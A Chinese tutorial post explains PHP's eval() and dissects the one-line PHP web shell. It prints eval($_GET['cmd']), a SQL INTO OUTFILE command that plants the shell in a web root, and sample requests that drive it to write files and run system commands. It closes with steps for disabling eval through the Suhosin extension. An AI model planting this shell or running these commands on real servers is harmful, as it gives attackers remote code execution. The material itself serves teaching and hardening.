eval函数简介与PHP一句话木马剖析

eval函数简介与PHP一句话木马剖析
eval函数简介与PHP一句话木马剖析 
一:eval函数
1.eval() 函数把字符串按照 PHP 代码来计算。
2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
二:eval函数的一般用法
<?php
$string = “beautiful”;
$time = “winter”;
$str = ‘This is a $string $time morning!’;
echo $str. “<br />”;
eval(“\$str = \”$str\”;”);
echo $str;
?> 
输出
This is a $string $time morning!
This is a beautiful winter morning! 
三:eval函数的特殊用法
eval($_GET[“cmd”]);
四:php一句话挂马的原理
1.通过数据库写马:
select “<?php eval($_GET[‘cmd’])’?>” into outfile “D:\\phpStudy\\WWW\\bb.php”,不过这个命令是DB和web在同一台机器的时候可以这样执行
2.通过web写马
<?php 
eval($_GET[“cmd”]);
?>
访问:
http://localhost/aa.php?cmd=fwrite(fopen(“aa.txt”, “w”),”hello,world!”);

查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();

查看当前运行的服务
http://localhost/aa.php?cmd=system(“net start”);

五:禁用eval函数
无论是linux服务器还是windows服务器,eval命令是非常危险的
如何禁用eval命令
在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin
linux下安装:
php的安装就不写了
suhosin的安装
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvfsuhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //这一步不能省
./configure –with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。
make
make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然后在php.ini中增加一行下列语句。
extension=suhosin.so
suhosin.executor.disable_eval = on
参考文档: http://ju.outofmemory.cn/entry/29300
特别声明:☆ 本站所有资源仅供学习和研究之用,严禁用于任何商业目的。 ☆ 我们仅提供资源下载,不包含安装、调试等技术支持服务。 ☆ 所有内容均来源于网络,本站不对资源的完整性、可用性或安全性作出任何承诺。 ☆ 请勿将本站资源用于任何违法违规行为,由此产生的后果由使用者自行承担。 ☆ 若您不同意上述声明,请立即停止使用本站内容与服务。 ☆ 涉及付费或赞助资源,请务必自行甄别并谨慎选择。 ☆ 若有内容侵犯您的合法权益,请联系我们,我们将及时处理下架。 ☆ 所有模板或源码需具备一定开发知识,新手建议选购官方正版服务。

评论0